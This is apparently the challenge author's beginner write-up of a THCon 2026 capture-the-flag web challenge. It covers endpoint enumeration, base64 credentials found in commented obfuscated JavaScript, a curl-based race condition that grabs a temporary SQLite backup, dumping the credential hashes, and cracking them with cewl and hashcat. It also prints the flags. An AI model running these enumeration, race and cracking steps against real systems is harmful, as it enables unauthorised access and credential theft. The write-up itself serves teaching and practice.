What’s that about ? #
The THCon (Toulouse Hacking convention), is a French cybersecurity conference that brings together hobbyists, professionals and researchers every year at Toulouse in April-May.
This edition (2026), I was the challenge lead, and also created a few challenges including a beginner-level race condition challenge followed by a “cryptography” challenge (as in cryptography from a pentester’s point of view, not a cryptographer’s 😅) which this article is about.
I will be giving a quite extensive and beginner focused write-up on this one since it was meant to be quite easy (flagged “easy” on the platform).
Note : in the case the CTFd is not up anymore, if you did not participate, or you don’t remember the challenges you can take a look at https://ctftime.org/event/3186/tasks/ although not all of them may be listed sadly :/
Let’s get to the writeup #

First step : Basic enumeration #
We are greeted with a webpage that follows the branding of SST Dynamics. We can see that the Firmware Patch Deployment and Network Diagnostic Tool don’t do anything since they have no associated php files. This still lets us know the app uses PHP.
We can start an enumeration in the background while we look for more things manually :
feroxbuster -u http://$IP -x php- This enumerates common files using feroxbuster
- The
-xoption enables us to specifically target.phpfiles, since we know the website is written in php - Note the
/backup(.php)and/register.phpwhich will come in handy later on 😉- The first one returns a 403 Unauthorized, so we maybe need to get some creds

A full client code review of the page shows some interesting things, as we can notice there is a script tag at the end :

This is some obfuscated javascript like so :
var _0x4a1f=["api/v1/units","api/v1/units/status","api/v2/fleet","api/v2/fleet/sync","download-legacy","backup","api/v3/telemetry","api/v3/telemetry/stream","api/internal/auth","api/internal/logs","api/internal/config","api/internal/export","db/primary","db/replica","db/archive","db/metrics","sys/health","sys/version","sys/reboot","sys/diagnostics"],ROUTES={unitsV1:_0x4a1f[0],unitsStatus:_0x4a1f[1],fleetV2:_0x4a1f[2],fleetSync:_0x4a1f[3],legacy:_0x4a1f[4],backup:_0x4a1f[5],telemetry:_0x4a1f[6],telemetryStream:_0x4a1f[7],authInternal:_0x4a1f[8],logsInternal:_0x4a1f[9],configInternal:_0x4a1f[10],exportInternal:_0x4a1f[11],dbPrimary:_0x4a1f[12],dbReplica:_0x4a1f[13],dbArchive:_0x4a1f[14],dbMetrics:_0x4a1f[15],sysHealth:_0x4a1f[16],sysVersion:_0x4a1f[17],sysReboot:_0x4a1f[18],sysDiag:_0x4a1f[19]};/*function backup(){_fetch(ROUTES.backup, {"headers" : {"Content-Type": "application/x-www-form-urlencoded"}, "method":"POST", "body" : atob("dXNlcm5hbWU9c3N0JnBhc3N3b3JkPVRIQ3tzM2N1cjNwNDU1fQ==")})}function a(){_fetch(R.u).then(t=>{if(!t)return;try{var d=JSON.parse(t);console.log("[Units] Loaded",d.length||0,"units");window.lastUnitsData=d}catch(e){console.warn("[Units] Invalid JSON")}}).catch(e=>console.error("[Units] Failed:",e))};function b(){_fetch(R.us).then(t=>{if(!t)return;try{var s=JSON.parse(t);console.log("[Units Status]",s);window.lastUnitsStatus=s}catch(e){console.warn("[Units Status] Parse failed")}}).catch(e=>console.error("[Units Status] Failed:",e))};function c(){_fetch(R.f).then(t=>{if(!t)return;try{var fl=JSON.parse(t);console.log("[Fleet] Data received",fl);window.lastFleetData=fl}catch(e){console.warn("[Fleet] Invalid format")}}).catch(e=>console.error("[Fleet] Failed:",e))};function d(){console.log("[Fleet Sync] Starting...");_fetch(R.fs,{method:"POST"}).then(t=>{console.log("[Fleet Sync] Success",t||"OK");window.lastSyncTime=Date.now()}).catch(e=>console.error("[Fleet Sync] Failed:",e))};function initFleetSystem(){console.log("[API] Initializing...");a();b();c();_poll(R.fs,3e4);console.log("[API] System ready");}*/
!function(){var _cfg={retry:3,timeout:5e3,apiBase:"/",debug:!1};function _fetch(r,o){o=o||{};var u=_cfg.apiBase+r;return fetch(u,{method:o.method||"GET",headers:o.headers||{},body:o.body||null}).then(function(r){if(!r.ok)throw new Error("HTTP "+r.status);return r.text()}).catch(function(r){_cfg.debug&&console.error("[SST]",r)})}function _poll(r,t){setInterval(function(){_fetch(r).then(function(r){_cfg.debug&&console.log("[poll]",r)})},t||6e4)}function _noop(){return null}function _initTelemetry(){_poll(ROUTES.telemetry,9e4)}_noop(ROUTES.dbPrimary);_noop(ROUTES.dbReplica);_noop(ROUTES.dbArchive);_noop(ROUTES.dbMetrics);_noop(ROUTES.sysReboot);_noop(ROUTES.authInternal);_noop(ROUTES.configInternal);_noop(ROUTES.fleetSync);_noop(ROUTES.telemetryStream);_noop(ROUTES.logsInternal);_noop(ROUTES.exportInternal);_noop(ROUTES.sysVersion);_noop(ROUTES.sysDiag);function _initFleet(){_fetch(ROUTES.unitsV1).then(function(r){_cfg.debug&&console.log("[fleet]",r)})}function _initHealth(){_fetch(ROUTES.sysHealth).then(function(r){_cfg.debug&&console.log("[health]",r)})}_initTelemetry();_initFleet();_initHealth()}();In this file a lot of routes are defined, but only two exist in the real application (/backup which we already saw in our previous enumeration, and download-legacy which we will cover in the second part). This is commented which in itself should also draw our attention, here is the functions code in a nice readable format:
function backup(){
_fetch(
ROUTES.backup, // We know this is just "/backup"
{
"headers" : {"Content-Type": "application/x-www-form-urlencoded"},
"method":"POST",
"body" : atob("dXNlcm5hbWU9c3N0JnBhc3N3b3JkPVRIQ3tzM2N1cjNwNDU1fQ==")
}
)
}It uses the fetch function which we can guess fetches a route as seen below (Understanding the function serves no purpose, I’ve just put it here if you’re curious) :
var _cfg= {retry:3,timeout:5e3,apiBase:"/",debug:!1};
function _fetch(r,o){
o=o||{};
var u=_cfg.apiBase + r;
return fetch(u,{method:o.method||"GET",headers:o.headers||{},body:o.body||null})
.then(function(r){
if(!r.ok) throw new Error("HTTP "+r.status);
return r.text()
})
.catch(function(r){
_cfg.debug && console.error("[SST]",r)
}
)
}Back to the main objective, we can see that the payload is stored in the page base64-encoded but the atob("...") call converts it to username=sst&password=THC{s3cur3p455}. This is our first flag !

Now let us log in :
Second Step : The race condition #
Access /backup
#
So now that we can connect let’s access /backup
curl -s -b "PHPSESSID=<session>" \
-X POST http://$IP/backup \
-d "username=sst&password=THC{s3cur3p455}"We get a PHP session cookie and a 200, with the following response :
{
"status":"ok",
"path":"/var/www/html/<PHPSESSID>/temp/db.bak"
}From that we can learn that
- a backup of a file (probably of a database) is created
- This backup is in /var/www/html (so the root of the webserver, that’s dangerous !)
At this point there was an LFI that could be used (but was also there so AI waste some time and token trying every bypass they could ^^), I’ll go quickly over it :
weaponize /download-legacy (or don’t)
#
The file parameter is concatenated to /var/www/html/<PHPSESSID>/ without sanitization, so we have an LFI. However it seems like we are restricted to this folder, with no way to go up (no ../../../../../../../../../../../../etc/passwd).
But in the same folder resides the temp subfolder ! So we can use this LFI (Or just plainly browse the path with the session ID)
Perfect, but there’s still one issue. This file, as the name rightfully implies, is temporary and lingers for a bit less than a second (of course it’s a real task needing it for a real job and not a sleep .5 && rm -f, you know I’d never do that !).

This means that we need to trigger the backup then download quickly the file before it’s deleted, that’s Race Conditions 101. This race condition can be exploited without specific tools like Turbo Intruder.
Here is a working payload let’s break it down :
curl "http://$IP/backup" \
-X POST \
-H 'Cookie: PHPSESSID=f0aadb1673ab3a28076c4d09cc5ff19f' \
--data-raw 'username=sst&password=THC{s3cur3p455}';
curl "http://$IP/f0aadb1673ab3a28076c4d09cc5ff19f/temp/db.bak" -H 'Cookie: PHPSESSID=f0aadb1673ab3a28076c4d09cc5ff19f' --output - > /tmp/a.sqlite- We first hit the backup endpoint with our credentials and a session cookie
- We then immediately access the file being served using curl.
- Since it is an SQLite Database we need to add a
--output -to accept binary - We then forward it to a local file (
/tmp/a.sqlite)
- Since it is an SQLite Database we need to add a
The credentials can then be retrieved using the sqlite3 command :
sqlite3 /tmp/a.sqlite-- List all tables :
sqlite> .tables
credentials logs units
-- Query all rows in the tables
sqlite> select * from credentials
1|admin|6e97320f1cd2e9d07347aa5c985fa4353d9aeab4530500831a9b3a8975b7768e|superadmin
2|operator|81cb3a0b84f737444e02e69bf6ac8e1a85f46507412b796defa25dbfb312d06a|user
sqlite> select * from logs;
1|2126-01-12 08:00:00|LOGIN|admin
2|2126-01-12 08:05:00|UNIT_UPDATE|operator
sqlite> select * from units;
1|#1092|Interceptor-v1|ACTIVE
2|#1093|Titan-v4|THC{r4c3d_2_t0p}
3|#1094|Phantom-v2|ACTIVEWe can then move on to the “cryptography” challenge :
Third step : The password cracking #
Remember our enumeration and the /register endpoint ? Well, it did not work, but it contained a popup error that leaked the password policy (upper and lower case, at least 3 numbers and one special character).

This means we can either try to brute-force directly a password of 1-10 letters + 3 numbers + 1 character. It would work, but take quite some time, and on top of being lazy, we are also impatient 😅
Before starting a 1-hour-long cracking let’s try with a wordlist of probable words, for instance the top 100 passwords of rockyou + a custom wordlist, tailored to the website/organization.
To do so we can use cewl, a very cool (you got it ?) tool that builds a wordlist by crawling a website :
cewl http://$IP/ > wlWe can then feed this wordlist into hashcat, specifying that there should be 3 digits, then a special character (‘cause humans are humans, so they usually apply the rules sequentially after having already input a word as their first password that failed)
hashcat -a 6 hash.hash wl ?d?d?d?s -m 1400 The password was Dynamics314! which could be found just by running rockyou (and/or perhaps using some hashcat rules like best64 or one rule to rule them still), but was way faster to crack using a custom wordlist from the website,